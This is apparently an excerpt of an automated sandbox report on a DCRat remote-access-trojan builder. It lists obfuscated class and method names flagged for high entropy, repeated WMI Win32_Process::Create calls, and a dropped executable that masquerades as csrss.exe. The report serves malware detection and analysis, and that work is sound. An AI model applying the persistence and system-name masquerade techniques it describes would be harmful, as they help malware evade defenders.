Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, qTPb4AXjt1OIWelh5jF.cs	High entropy of concatenated method names: 'I3RSMTPTbN', 'OAyd99MJWV1RSyv5ZYB', 'wnMfVMMB6EpIov1JjNH', 'fCj2qQMjrRgObAy9YqY', 'QN2qclMZ3sFLBZilRFJ', 'VgPYUQMnapn8FVFxNZe', 'QLw', 'YZ8', 'cC5', 'G9C'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, mlMyl0kVxeZ8wvyTBpO.cs	High entropy of concatenated method names: '_5u9', 'UWtG1Ud0SF', 'XRmiTCs3lF', 'nunGNP0eJV', 'FuHFZxjXP8tdwmASCl7', 'hXjirSjvQ5cpHcysxEo', 'MHPrqKjVQ2Dl1ve8lYO', 'o23EZkjiZwEnIcmSonr', 'ACbxdFjy2QXeUl8Cqvk', 'ANaiHAjzTVSHTdKhDxj'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, UmMYin5p1p0reIKFPZO.cs	High entropy of concatenated method names: 'IGD', 'CV5', 'LWYHYLXcDn', '_3k4', 'elq', 'hlH', 'yc1', 'Y17', '_2QC', 'En1'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, osLxLH55SPrmOauDYlb.cs	High entropy of concatenated method names: 'Qkp', '_72e', 'R26', '_7w6', 'Awi', 'n73', 'cek', 'ro1', '_9j4', '_453'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, PVStjT4hn5scdS4lfYS.cs	High entropy of concatenated method names: 'zennxapns0kgYECEyXU', 'IDSbeupYd10gm1gHI2H', 'Hdi5GJpJUtZadn3F7Ps', 'kwJqBNpBR3UQM5IjmCn', 'NyNjlWWMpL', 'rXdQbCpq5PDENGbQRfp', 'zY2SfhpF2w6lTfk59cA', 'QtJ0dKpA4yPdMI4orFR', 'HcXBANpde69lcrNrQej', 'RDAjOmp84UZbZexSDNS'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, CM4kAN6rt2XyLtJnvw.cs	High entropy of concatenated method names: 'XhhD68my8', 'bTfcdG2kw', 'VCjPOSZbl', 'fIb0XUa2PNKN7n30qdi', 'MjxBECaTZRMmWARPnOu', 'kN2PFsareqCyD1xqQCT', 'rGL3tfaDk5qHTjSjpS9', 'X4h22xatN9drIPERMPs', 'WGliUjabVRkKSAZIFlP', 'aWCcOQau8Q90rVG1kZV'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, uoxBGjMjKvrMiFQ2XTW.cs	High entropy of concatenated method names: 'tRpw0fqXCI', 'OktkiswvPjn5Rhp4iL4', 'y3APjGwVmFABZctNXvq', 'Om14wVwy2llYKH7bjbo', 'fX4JwtwXAEEfIqetWVf', 'yUNFVXwzRG7SmHdvGgP', 'TdwS93W5pcam6XKbAkd', 'gnjFvAWaUwjvcrHCkJd', 'UH1v9OWmmWSxuYq1IL9', 'c8aBMTWOZ7W3r4rMgXJ'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, AbyF6Y5ccPaRSV6vWJu.cs	High entropy of concatenated method names: 'bHCuFkiX6R', 'olquiexRZV', 'LocufcjKwE', '_3Gf', '_4XH', '_3mv', '_684', '_555', 'Z9E', 'dRouxKu5l7'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, TIXglEXlBKhU9Q9nv23.cs	High entropy of concatenated method names: '_3fO', 'YZ8', '_48A', 'G9C', 'cyaYqc44gHmGph6oXwB', 'CMsSf646BQP5OtIVkMi', 'HjklpI4P9hZrdO81ooH', 'nm8Hqg4MEhQU5U840XH', 'Gronp743Jcjgn420asF', 'W13ltG41vFAvB20m1MZ'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, dWejQuXfi0XPOmmXSRA.cs	High entropy of concatenated method names: 'rU3', 'YZ8', 'M54', 'G9C', 'IfxUbs4DcXQq4yxvWe7', 'inCr4I4tMuCFpYaPhXn', 'tQ5erm4bSchQIWRfbIo', 'utPMxm4u7Bt1hFgbCeF', 'g25p7R4RCb3TPlwHMEG', 'ODqbiq4kwv9u4GYXrEt'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, nUM0x3rkhJ5uxCKcnJJ.cs	High entropy of concatenated method names: 'naAxiodjbJyJRmCcJ6H', 'zg1wnjdZcg30VwvUn5D', 'l3TgmqdQKALkYgFZFum', 'v5kUr0d9neaxkS3TBik', 'fRBOYwFPQ3', 'uBlC25dn1n1CaZ9QmUa', 'qog9J8dYM37TiHAFTdZ', 'qbxuMUdJdlYWrQM9Jee', 'CxNFGHdB0esYdageIAT', 'mt5GRGdK3lDVTaifZib'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, oHajG1kfAgYJUeXXET1.cs	High entropy of concatenated method names: 'l1fRraTj8P', 'DNsRsy2qWw', 'RtrRNqXaiG', 'mOQRnj0loD', 'QK7lEOQ8DZlZ7D5mOhE', 'O7HKoeQoG0fpwgTjTHe', 'oXim4wQTDRY0HlOyOvD', 'g2GEuEQA2LRYC7KpRML', 'gBHkxcQdYrVj3d0iW6J', 'jwHhyjQrTfNAxyFo4cH'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, feCK3kkzDZ70xu9KtFd.cs	High entropy of concatenated method names: 'NCbi5vJ4mV', 'W6fi684QSC', 'M8li0lSxw1', 'kU3YmwJbJqaKp62mZ2E', 'nBfeMsJurQ8BeEtH74A', 'E0AB5UJDKqBsT3wtFSp', 'fFOcF9JtrguTfNa3I2d', 'IVhRB3JRXNCUi07oanp', 'kEevGHJkJi6i6xuTX9a', 'wuZRYBJp6NjxI3QtJvN'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, csvTTBDe7UV0o4HHj3K.cs	High entropy of concatenated method names: '_45b', 'ne2', '_115', '_3vY', 'BuIkTRLHIu', '_3il', 'fGZkSSXVe9', 'R7HkGKwq8W', '_78N', 'z3K'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, EWcsSUr0fAoCVl1wmAU.cs	High entropy of concatenated method names: 'q4Y', '_71O', '_6H6', 'dIFX9wtMi4', '_13H', 'I64', '_67a', '_71t', 'fEj', '_9OJ'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, fsZkwSZXHf0Xv0mVD5.cs	High entropy of concatenated method names: '_8Ok', 'YZ8', 'InF', 'G9C', 'Oql8cXH7LAmjP98KowS', 'x0ysf1HlKiEJO3deNNI', 'sgROWWHwAaFOCvowtm8', 'eJRxCiHWPDv1PMQwtbd', 'BP8BaCHUtIB0aSV6r41', 'lLX9hnHNHRnYTmMc5kF'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, StuS5UFYUNN3WcTAGg.cs	High entropy of concatenated method names: '_59M', 'YZ8', '_1zA', 'G9C', 'yTA5UKOTJSeqoUSRwQE', 'eHxMjoOrKPqpg2kkd6L', 'tHc9doO28bp9WPvCVyu', 'VEBBPTODGQup8f2GYLt', 'DJlw3UOtCTfkjKsJKow', 'Lp4VVeObshiWvOiWerR'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, nvHsMUGWsdX0G3LO0P.cs	High entropy of concatenated method names: 'T43', 'YZ8', '_56i', 'G9C', 'xFWXvcm3BHRuPbcvti3', 'EySrKOm1UZShrk0XtGy', 'fkySKwmckuH44Vwae3I', 'eA0l3fmGHdmFsvIjgwq', 'ly5HrKm0mcS0wgf9o4m', 'EQOC1Gm7EyT6XpvO3kk'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, V8JCbEk9AccBknpBX1p.cs	High entropy of concatenated method names: 'NC1R2LKK6r', 'Ev5RDLyTB9', 'IUkRcLFwVk', 'iIYWErQ0teIJccwt6hR', 'HZeSyKQcemZSfKSpRps', 'CfQRMjQGwhytemtCSGJ', 'gMoHAHQ7qeYYPjFjO1X', 'NVpRytBwSt', 'UMuRU5rvCI', 'NGKR3yjCtM'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, lOkbQbBb0NfPWduKuZ.cs	High entropy of concatenated method names: '_3OK', 'YZ8', '_321', 'G9C', 'EZ6dhlmvqq9GG96Wpx1', 'BpkokymVojm7NBpxKOy', 'lXxDffmzuRgcNbj9RNx', 'ukMTCIO5aeG0kBJVABD', 'nJ2gnUOa0T5M4HAJkLa', 'vZA6XpOmGGO1hi50qml'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, FUvTB8XuAIE6KpJsY4R.cs	High entropy of concatenated method names: 'BefSNVSem8', 'EqlZxaMm0WqmvifengF', 'h4wD2pMOOwjOfoFVotU', 'xkEvejM5OeNjqnfLaRq', 'dsOMUrMaC54hw2fcmQd', 'B0KVKTMfjBhru3mXOUg', 'toA0KiMH56UW8awX31I', 'F8gNrRMIAAYhn86xVQm', 'dQ0SEpqDyt', 'OsoZ6RMP0S8psSloYfk'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, jxUFL6rQt3GR0sxiYTL.cs	High entropy of concatenated method names: 'AYGYAKZenm', 'TIrYMOEeIL', 'Ic6Y1EBWiT', 'Y0JYIU8ZsO', 'Fk7Ya2y5cI', 'QKYYtEEuX3', 'gmju8OrCNplKkQgCTf5', 'cYNyvArpAwgWgToirKF', 'l3UnQ0rhEKf7SCqxMhj', 'ejyQhqrgrOeqX9MfHIN'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, gxlrpek1LvGoYoBLo6h.cs	High entropy of concatenated method names: 'sg9', 'bZ1G5YLGSg', 'wyxFtydHyD', 'loOGpZRDcv', 'nI3onRjCVIhSrqcmBqJ', 'lxKnfMjgtJ3wk4d2sA9', 'vmRpWDjSane75GQFNv2', 'goD72QjpvgusU3qTXx3', 'bCDGWKjhelJZKegbbsM', 'Q8VcMEjsb2OHqmcylMp'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, MTJPGvHNe9SAZAXfcK.cs	High entropy of concatenated method names: '_52Y', 'YZ8', 'Eg4', 'G9C', 'BqK4hu3qM', 'chxPjRmNaj7BlMQxeeX', 'dUeau1mx2OfKUujpr1h', 'fu2u5RmQyOsNtVmO3vg', 'GKq1Skm93xrM2CT7s8G', 'IetaQPmjiuPBlafPsC2'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, ikXWGe4UA9BrWQEbsnG.cs	High entropy of concatenated method names: 'ibIjYD8vpq', 'OtvjXth9sU', 'H2CjHNVbiY', 'IVXjuM4e4A', 'LlQj5eh1u3', 'rXMj6IKTlX', 'w6Zj0NrXlp', 'gbbjvrDwDU', 'vfXjjN1TMt', 'jEojdo4Ykv'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, uZ0L4x5Hfw6UKScHjWP.cs	High entropy of concatenated method names: '_159', 'rI9', '_2Cj', 'NZNuXBaZH3', 'HA2uHS0u9T', 'pvcuuJMb7N', 'w75u5DP9pl', 'nNIu6CWViJ', 'Venu04Kcjp', 'YcT0EuurW7Z5pjO8KJy'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, OJZPS1kZg5X8hT0kG6M.cs	High entropy of concatenated method names: '_3VT', 'O5t', '_1W5', 'HgWifOVYc5', 'nOCGsp0COO', 'BPOix6JvR8', 'lJMG2m3Tse', 'I7oIS7Z232TD1L3nwGb', 'sJag91ZDxgTveZvm1pG', 'iLsUSXZThLdkHHdL8E3'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, LM6iZlrc3Q8eNxGK50m.cs	High entropy of concatenated method names: 'zaeYsMFgRk', 'XXiYNJlrvy', 'OOVYnyP0vI', 'CnFWjJroeIf8bjIkBP3', 'VxqMDlrdYr5ps40e2gU', 'DJQqSgr87FwcLA2gA9L', 'CLpJAJrTTN8XV0I95vi', 'Ejnb54rrKpkI2mv2ouM'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, kGWL5KDSskg6lsJK6ms.cs	High entropy of concatenated method names: 'JJwxcrm7uM', 'NarxPLRLSq', 'foNxByZNE2', 'YN0xZP6dTM', 'tACx4fFvJH', 'SpQLNCBV0dSDXRPtxpZ', 'EtRMNrBzyJYM0xbMLc3', 'GM97B5BXRFXYvq4TYwM', 'kuaTtVBviEfWQTexKS3', 'BxsTeyn5pmxKOxrK4Li'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, uD1CEWXcCe05jYVwLlt.cs	High entropy of concatenated method names: 'GvP', 'YZ8', 'bp6', 'G9C', 'sJbbV2PTd9lw7kmcXcf', 'pBPLgvPrUGolZtICfYL', 'DVq9U9P2tKYY5ZKhqGL', 'HmRXcCPDIF9fQ82lCTW', 'AFpk4bPt90yQ5KG8FqR', 'euIAfJPbAvGwQsuUabc'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, KyOTmgriHr2hnFRE7We.cs	High entropy of concatenated method names: 'dFjYZU8M0l', 'Tw5Y4RX1Ow', 'TeoYVur8xX', 'aOsYopxaj2', 'WgtYr7lEkZ', 'iwBllprKJ0nmGABStXO', 'rcqMYkrn3vV39EsJh57', 'nKtBknrYgMGmwIU9eNB', 'ttOIS9rE4iHEKsn4c9T', 'b51YgCrqaIAXJuX4JCo'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, dshDBGXU7CTxFAQ7LDy.cs	High entropy of concatenated method names: 'p23', 'YZ8', 'Gog', 'G9C', 'UqSAn26hIeiWumHmUBg', 'BDNKpN6CDAdSCDxoYg1', 'GMRXxE6g3mNhaeQ6O7q', 'jEejwo6S03EeFIASZJ7', 'G891ka6sQO3nxf13vOi', 'ikDPLe6ecFxd93MfwVq'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, Cgq2kvzosEAKCPyPAH.cs	High entropy of concatenated method names: 'Y29', 'YZ8', 'jn6', 'G9C', 'LFElhQIO4TyZseuaabr', 'miirRgIfHHUcSfONAiW', 'OLZXc3IHYj0o99osII6', 'DoS34iIIDGi86AoriD5', 'BqbvoBI4IOulXHJdqV8', 'agPVhEI669AQbmvxnui'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, GDQqU3XvsenXvHLY6L0.cs	High entropy of concatenated method names: 'aKHGSKjCGI', 'U7wGG60rol', 'wIhGbqF00I', 'zE0gIpMsp1GJNWQTfb9', 'BiMaa2MeLSdPFisOULb', 'e72fBJMgULsnDUR036G', 'j4RRIjMSaAExUSybLPk', 'atnSK3ML3rmi08lhx69', 'vDYrMPMiMYCEoAWkroe', 'TirSG3MyetO7RHV5xTH'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, eiKljD5OouuANgNXZMt.cs	High entropy of concatenated method names: 'aEjQAORfXTN5S7yjuEU', 'MRAkIhRHeJB0bdcQhnX', 'oy3HS0RmJWQZcYHAhCd', 'IRFVbuROCN9rK38XY5P', 'HxmuDUeyii', 'WM4', '_499', 'PNOucrvbDy', 'BEVuPw9WKO', 'RaxuBHVbam'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, Oerw6JMJ8naxclaQ7Wt.cs	High entropy of concatenated method names: 'k8FKmB5qJt', 'b7NKQb5MGD', 'R3aKJ3u49p', 'CLZK9STSgB', 'JeHKYlx0LP', 'JDt3Cnl5HtuVTTFJLsS', 'Nt9hUulaWQRCiTbuViW', 'xDPHtG7VJd5g7oWRnVp', 'eArFiF7zkTrofasD8aK', 'YHN2EflmYh0IsAbxgid'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, R7jPP7ImnklP4rRFTd.cs	High entropy of concatenated method names: 'kcq', 'YZ8', '_4bQ', 'G9C', 'hnMETjHItvYbiaLlYDV', 'Ef8hF3H4F0L4wHGGS3I', 'Lg5IKTH6OWLrn6sK4Yn', 'UnywjKHPIlwXys8n2n2', 'YC9strHMmurs6kxuPKq', 'KTx4UJH3hoajiFMSPOt'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, qtGSCFtKy5HjO36b70.cs	High entropy of concatenated method names: 'P37', 'YZ8', 'b2I', 'G9C', 'jLRxEYfRk6ZRYw3EXxC', 'AYt4IEfkMRcw18mGZvW', 'kkNJuLfpWTscvgZhijK', 'SFoNMGfhG4DyAPa2gRj', 'iV3OmafCTqoBwEUJRiw', 'cIdceCfgJMVcjqXkfuC'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, n0pvB6kIpyvFRJXXn7k.cs	High entropy of concatenated method names: '_9YY', '_57I', 'w51', 'N2TGuQXamJ', '_168', 'LXqI3CZBabtGkBnCwk4', 'YPKVP9ZngfkKnPydbqO', 'hjXfsDZYW8jMJNdFPwS', 'WuP2RrZK2nhUWUsAQ94', 'we7nvLZE8KgQ4pmsxNZ'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, nhfg4RkyLVj5ML4FnpW.cs	High entropy of concatenated method names: 'fcqRqu9D7v', 'rvsRpuw3vT', 'SZlRhMv1ro', 'N6xu3DQpQqC5Fu9HoMU', 'fyQ4fkQhqnyKnhdOqS6', 'kJ5O7pQCaZcSZFZIdoL', 'WSPUenQgYYiWnKZuCV2', 'agDLM2QSLGFPXE5OgAM', 'oFDQHwQsVXci4Xrks1k', 'm6iZ3RQeScPEx0PZVmj'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, YegRPiMFsvSTUy2Ptw0.cs	High entropy of concatenated method names: '_0023Nn', 'Dispose', 'Bj3wDklYlo', 'K0swcRCkRa', 'vCJwPxEkPp', 'yp6wBEStdG', 'hlewZb2Vmj', 'FBqdPmWP5U9iY1SFK3q', 'rKnFN1WMtAsxILn93HF', 'oE2fb4W49ox1DT1U1tq'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, Oqp2h45MbLWUyY0jC2l.cs	High entropy of concatenated method names: 'lM7HRQ9ITC', 'PqMHF9mYm1', '_8r1', 'mcPHi6Q2x4', 'ksfHfmPIU4', 'klrHxWFDok', 'fKhHgDyP6K', 'h31qF1tlvDMBBc4qvOb', 'jLZwZftwZ7rqKi6ixfe', 'wZRs8EtWuns3RF0TkEW'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, uPfSZV53W3JdoE5DHk8.cs	High entropy of concatenated method names: 'qM7XNkc3Vc', 'WQkXnD5oeA', 'NmtXEvqHXH', 'QkTXqaJcu4', 'Op8XpBcY05', 'RknXh8VrsY', '_838', 'vVb', 'g24', '_9oL'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, KbcJCiXXRFZqdFTya1b.cs	High entropy of concatenated method names: 'tO4', 'YZ8', '_4kf', 'G9C', 'RWZdmAINqpWL63JJLFN', 'utPoQMIxVWQB5wXh59w', 'ErQMSOIQxIKLGvZqytP', 'lw8HkNI94AilQwJp17Y', 'OHw4kSIjcf2se1itVv4', 'V1dlrEIZ4yLOupYocol'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, DkrhvAkKQqbxVpf8sH6.cs	High entropy of concatenated method names: 'MLBp6VJr2q2FuGVHYUC', 'UcCI1CJ2ZatwrmC8h6l', 'FsUulOJoaTnjWcJTkrt', 'uF8tMdJTDlBnlM7gBa0', 'IWF', 'j72', 'KCli3w53G6', 'HQAi7WIDGG', 'j4z', 'u0fiL2niwR'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, M3xuuMru7yvhEBnL6WJ.cs	High entropy of concatenated method names: 'sY8YEn9dLh', 'oTaYqNthj9', 'vaSYpDBLoI', 'jHy4nqrtsuJLVaGuBmH', 'jium6ir20tb9x0apE3m', 'bY4SLArDMQBHiglT9GZ', 'pVbkbBrbTq3Mq8hwbu7', 'NLY78kruFMhaRra42OC', 'T7HdcwrRQqMreTCeuX8', 'TA7BH7rkrr0sfOKy12Y'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, deeUvwDr1F0DQZu6DkX.cs	High entropy of concatenated method names: 'aYUx3fSue8', 'NSYy5ABUXilRqy94S45', 'Hje8g1BN0Wge0IhikWm', 'FrhEGXBwJWpXigapZue', 'wjTpJHBWVFXucXpkYJA', 'gUlivCSevW', 'vyxijcp6gk', 'jK4idsomhJ', 'dVhi2SbvUv', 'bAbiDeyID4'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, QG5wveM3LgkoM4utFO8.cs	High entropy of concatenated method names: 'THTGXd54g9', 'LlnGH5wW38', 'HFZGuN2Mgo', 'nv9BTD1dgwBKgByOLNj', 'y7fX8h18fEFCBgc8XqO', 'Onv1mq1oBLmQhg26G9W', 'Yrd5wn1TEMkNcyAEmG9', 'E7jAev1ryLaiPvkh729', 'zILvO712iw2MYYQe8uM', 'o7j94J1FOfS3efTjw4g'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, ySyEcdMc0cni3Q58xjX.cs	High entropy of concatenated method names: 'od4KtMd6Yi', 'Y2lK8xg4k2', 'jCiKzoD0sQ', 'X16wTqpAsA', 'UwLwSyR5k7', 'oLFwGDe24B', 'reSwbGbcxO', 'MiHwKKbr6M', 'dTxwwj6hoI', 'oH920mliUAsW1ssDfOk'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, WHDInNVdHmUBgCtoi3.cs	High entropy of concatenated method names: '_468', 'YZ8', '_2M1', 'G9C', 'lRiwWhfWeGWb0mDrG9U', 'VbUZWgfUSbQvyaC9Pdv', 'ICG68jfN3L5tep3x9te', 'qe9ecBfxsxNcVLMCxHG', 'g2iXBifQjT1ktviJioY', 'LPXijIf9ZCCgMmrLF6Y'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, PNKNrn423aLw7YTXAHt.cs	High entropy of concatenated method names: 'yucBDaMMP3ECX', 'vyn36Op7S1eDK6Fo3vm', 'pnZE9MplapgQxsowx5a', 'jENnnCpwTNPEY3Vp3hK', 'ihRwU9pWoLl7mLENj3c', 'aylK7HpUuVITtLZewJ3', 'ACAK56pGZ4qlfa905XL', 'jYtERip0o4e4prA4nqU', 'SmhZAJpNrGMGPNDmgmS', 'JUVss3pxOBiloqjaAk4'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, AnGUVdD2JESKqb0kjLg.cs	High entropy of concatenated method names: '_4J6', '_5Di', '_1y5', '_77a', '_1X1', '_7fn', 'OUK', '_8S4', 'wUn', '_447'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, vuI9WhDKcr3MwVZ4Abr.cs	High entropy of concatenated method names: 'PJ0yXvkQrk', 'c2xyuTMi4d', 'NrpykOciTD', 'dZNylap7gw', 'KvQyyJeyCO', 'VyfyUegaNa', 'gSMy3CSdEb', 'NAMy7HomTk', 'jUEyLnimSX', 'DHGyCFxrR9'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, GctDFZX41lS9Uo7uuCY.cs	High entropy of concatenated method names: '_6H9', 'YZ8', '_66N', 'G9C', 'Uwr5vTIiWjwcYngGWgJ', 'EUOf6qIyRhpmwSklL7m', 'qtXKpFIXRMHDIQ694xi', 'ywMN29IvZpCnhPQB7UT', 'eHYtqUIV6jXNMrdXFGA', 'CHpih9IzPL6s86wDmCF'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, SktYJqkXLPIuQ6Awout.cs	High entropy of concatenated method names: 'RtgW0UJt9s', 'RGpWvSvxAq', 'b3tWjZ0iKr', 'IdLWdrXJSJ', 'U8jTFMUzVvcqdI1HDjd', 'gqIyrTUvLaDLButUU8H', 'Rj60hxUVqjy7YSgvJ9G', 'L0Duk7N5w2id9lXCrtM', 'SGCSJpNaFDhAOPNv3yE', 'bKiUWeNmtNZykJXx0KV'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, mlk1UZXKuLKF5JDXCmf.cs	High entropy of concatenated method names: 'HGHGCC3pnt', 'PMFKAG1IJLMsJP3rFBV', 'DyTFnY148eUATHh7Dhw', 'g9ntY81fRStEYuH89Hk', 'uM31K61H2MmaPPqQadm', 'dgVBDP16hIGdOjUYfM0', '_5q7', 'YZ8', '_6kf', 'G9C'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, iRKR1nXyR9O1jxumahV.cs	High entropy of concatenated method names: '_981', 'YZ8', 'd52', 'G9C', 'cHpum34egfeTIb4Sdnd', 'B0ZuOV4LPImaZwJi5Pg', 'GqSZAQ4ignGH9u1iMlC', 'Jc6Cm34yLoeihFSreTE', 'EFfQsp4XpefdbH3GNQd', 'H6FAd54v2U1f0BGelAZ'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, wxlCxPkYywwxbY5Yf0k.cs	High entropy of concatenated method names: 'g7dFy6Ru26', 'lReFUD5c13', 'cyGF3XyeVy', 'e9682U9RXr0kVildrd2', 'fLRWS79bisoSP8SVcBf', 'btb3vu9u3Kp8mbLFUZJ', 'JxUxBY9kYiRotWnW9FZ', 'lH0FeK09an', 'hBkFWPSYgL', 'JrKFRdjvJJ'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, MsBg6K5RkP1uMJ0tCH3.cs	High entropy of concatenated method names: 'UvL0J4QlU4', '_1kO', '_9v4', '_294', 'fiN09k7ww6', 'euj', 'XqY0YcsQHH', 'IU70XKQPcs', 'o87', 'VDG0HBWOOJ'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, L7trMlXk084m2iRiuOD.cs	High entropy of concatenated method names: 'R1x', 'YZ8', '_8U7', 'G9C', 'BR8JGxIqowvt7Evqt19', 'keGBxsIFCHwBPCI5TN7', 'GSSyCmIAp3nSaWM96iD', 'ycCsxQIdyhWFEUgsE74', 'iZ8ZkAI8MLwxvQmFqlQ', 'zUuFbOIoXb5oGaNA3H6'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, svkKVPMTtQZgVyRGCYB.cs	High entropy of concatenated method names: 'kyJbtL3ClB', 'nx0b8UxLc4', 'A2hty50NULorsvmYhWY', 'H9mMBL0xEHgKSEnn91C', 'Ad1cMr0QfJVKsmbaAGZ', 'gmvSbw09DVsSVLAmhBR', 'Rfq8Lv0jNDScGRXA51l', 'adcMhi0ZY4tiPAm4qck', 'qWWd9F0JOsEahB0IXiB', 'tASqwt0B6pEBFET5id8'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, ooLRuLDTQX9YMad3xl6.cs	High entropy of concatenated method names: 'H4jgKJkYAu', 'FHhgwE3xbA', 'HK2geNLcgF', 'nvs919nwtCcbuDT8nsk', 'gxZT8SnWWtulfk6mvda', 'uT6bbsn7Uwg26WXLo5F', 'vhSGs1nlEpxaj5Y1eCs', 'ytCVTinUVrwV5p5iGvR', 'jGRfplnNuYGdd7vWY61', 'Ja6i2inxwKKaSGQ0irC'

Persistence and Installation Behavior

Source: C:\Componenthost\providerreviewdhcp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Componenthost\providerreviewdhcp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Componenthost\providerreviewdhcp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Componenthost\providerreviewdhcp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Componenthost\providerreviewdhcp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Componenthost\providerreviewdhcp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Componenthost\providerreviewdhcp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Componenthost\providerreviewdhcp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Componenthost\providerreviewdhcp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Componenthost\providerreviewdhcp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Componenthost\providerreviewdhcp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Componenthost\providerreviewdhcp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Componenthost\providerreviewdhcp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Componenthost\providerreviewdhcp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Componenthost\providerreviewdhcp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Componenthost\providerreviewdhcp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Componenthost\providerreviewdhcp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Componenthost\providerreviewdhcp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Componenthost\providerreviewdhcp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Componenthost\providerreviewdhcp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Componenthost\providerreviewdhcp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Drops PE files with benign system names

Source: C:\Componenthost\providerreviewdhcp.exe	File created: C:\Recovery\csrss.exe			Jump to dropped file
